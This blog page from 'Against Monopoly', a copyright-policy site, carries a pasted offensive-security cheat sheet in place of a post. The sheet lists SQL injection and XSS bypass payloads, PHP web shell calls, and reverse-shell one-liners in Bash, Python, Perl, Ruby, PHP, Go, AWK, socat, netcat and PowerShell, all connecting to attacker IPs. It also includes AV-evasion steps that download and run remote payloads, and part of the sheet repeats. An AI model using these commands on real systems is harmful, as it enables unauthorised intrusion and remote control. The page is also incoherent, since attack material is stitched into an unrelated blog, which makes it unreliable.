logo

Against Monopoly

defending the right to innovate

Monopoly corrupts. Absolute monopoly corrupts absolutely.





Copyright Notice: We don't think much of copyright, so you can do what you want with the content on this blog. Of course we are hungry for publicity, so we would be pleased if you avoided plagiarism and gave us credit for what we have written. We encourage you not to impose copyright restrictions on your "derivative" works, but we won't try to stop you. For the legally or statist minded, you can consider yourself subject to a Creative Commons Attribution License.


back

v3dm0s

/?q=1 /?q=1' /?q=1" /?q=[1] /?q[]=1 /?q=1` /?q=1\ /?q=1/*'*/ /?q=1/*!1111'*/ /?q=1'||'asd'||' <== concat string /?q=1' or '1'='1 /?q=1 or 1=1 /?q='or''=' /?q=(1)or(0)=(1)

# Useful payloads ' WAITFOR DELAY '0:0:5'-- ';WAITFOR DELAY '0:0:5'-- ')) or sleep(5)=' ;waitfor delay '0:0:5'-- );waitfor delay '0:0:5'-- ';waitfor delay '0:0:5'-- ";waitfor delay '0:0:5'-- ');waitfor delay '0:0:5'-- ");waitfor delay '0:0:5'-- ));waitfor delay '0:0:5'-- # Tag filter bypass <%00script>alert(1)

# HTML tags ">

# Other tags

testtest"onload=this.style.width=‘100px'> #x';

# CharCode

# Input already in script tag @domain.com">user+'-alert`1`-'@domain.com

# Scriptless # Unclosed Tags # No parentheses

# No parentheses and no semicolons

# No parentheses and no spaces:

# Angle brackets HTML encoded (in an attribute) "onmouseover="alert(1) ‘-alert(1)-'

# If quote is escaped ‘}alert(1);{‘ ‘}alert(1)%0A{‘ '}alert(1);{//

# Embedded tab, newline, carriage return to break up XSS

# RegEx bypass

# Other : base64 value which is alert(‘XSS')

# system

CURL http://ip/shell.php?1=whoami www.somewebsite.com/index.html?1=ipconfig

// NINJA ;").($_^"/"); ?> http://target.com/path/to/shell.php?=function&=argument http://target.com/path/to/shell.php?=system&=ls

// NINJA 2 '^'{{{{';@${$_}[_](@${$_}[__]);

// One more

// https://github.com/Arrexel/phpbash // https://github.com/flozz/p0wny-shell

# Bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.21.0.0 1234 >/tmp/f nc -e /bin/sh 10.11.1.111 4443 bash -i >& /dev/tcp/IP ADDRESS/8080 0>&1

# Bash B64 Ofuscated {echo,COMMAND_BASE64}|{base64,-d}|bash echo${IFS}COMMAND_BASE64|base64${IFS}-d|bash bash -c {echo,COMMAND_BASE64}|{base64,-d}|{bash,-i} echo COMMAND_BASE64 | base64 -d | bash

# Perl perl -e 'use Socket;$i="IP ADDRESS";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' python -c '__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 4433 >/tmp/f')-1'

# Python IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

# Ruby ruby -rsocket -e'f=TCPSocket.open("IP ADDRESS",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# PHP: # /usr/share/webshells/php/php-reverse-shell.php # http://pentestmonkey.net/tools/web-shells/php-reverse-shell php -r '$sock=fsockopen("IP ADDRESS",1234);exec("/bin/sh -i <&3 >&3 2>&3");' $sock, 1=>$sock, 2=>$sock), $pipes);?>

# Golang echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP ADDRESS:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

# AWK awk 'BEGIN {s = "/inet/tcp/0/IP ADDRESS/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

# Socat socat TCP4:10.10.10.10:443 EXEC:/bin/bash # Socat listener socat -d -d TCP4-LISTEN:443 STDOUT

Windows

# Netcat nc -e cmd.exe 10.11.1.111 4443

# Powershell $callback = New-Object System.Net.Sockets.TCPClient("IP ADDRESS",53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close() powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.11',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Undetectable: # https://0xdarkvortex.dev/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

# Undetectable 2: # https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15 # 64bit: powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell # 32bit: powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

Tips

# rlwrap # https://linux.die.net/man/1/rlwrap # Connect to a netcat client: rlwrap nc [IP Address] [port] # Connect to a netcat Listener: rlwrap nc -lvp [Localport]

# Linux Backdoor Shells: rlwrap nc [Your IP Address] -e /bin/sh rlwrap nc [Your IP Address] -e /bin/bash rlwrap nc [Your IP Address] -e /bin/zsh rlwrap nc [Your IP Address] -e /bin/ash

# Windows Backdoor Shell: rlwrap nc -lv [localport] -e cmd.exe

PreviousPayloads NextFile transfer

Last updated 6 months ago Reverse Shells | Pentest Book Copy-paste blocked - 📋🛇❗ # Bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.21.0.0 1234 >/tmp/f nc -e /bin/sh 10.11.1.111 4443 bash -i >& /dev/tcp/IP ADDRESS/8080 0>&1 # Bash B64 Ofuscated {echo,COMMAND_BASE64}|{base64,-d}|bash echo${IFS}COMMAND_BASE64|base64${IFS}-d|bash bash -c {echo,COMMAND_BASE64}|{base64,-d}|{bash,-i} echo COMMAND_BASE64 | base64 -d | bash # Perl perl -e 'use Socket;$i="IP ADDRESS";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' # Python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' python -c '__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 4433 >/tmp/f')-1' # Python IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(


Comments


Submit Comment

Blog Post

Name:

Email (optional):

Your Humanity:

Prove you are human by retyping the anti-spam code.
For example if the code is unodosthreefour,
type 1234 in the textbox below.

Anti-spam Code
UnoQuatroZeroUno:


Post



   

Most Recent Comments

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Sheldon Richman on Intellectual Property versus Liberty test

Pimps and Ferrets: Copyright and Culture in the United States, 1831-1891 test

Pimps and Ferrets: Copyright and Culture in the United States, 1831-1891 test

Pimps and Ferrets: Copyright and Culture in the United States, 1831-1891 test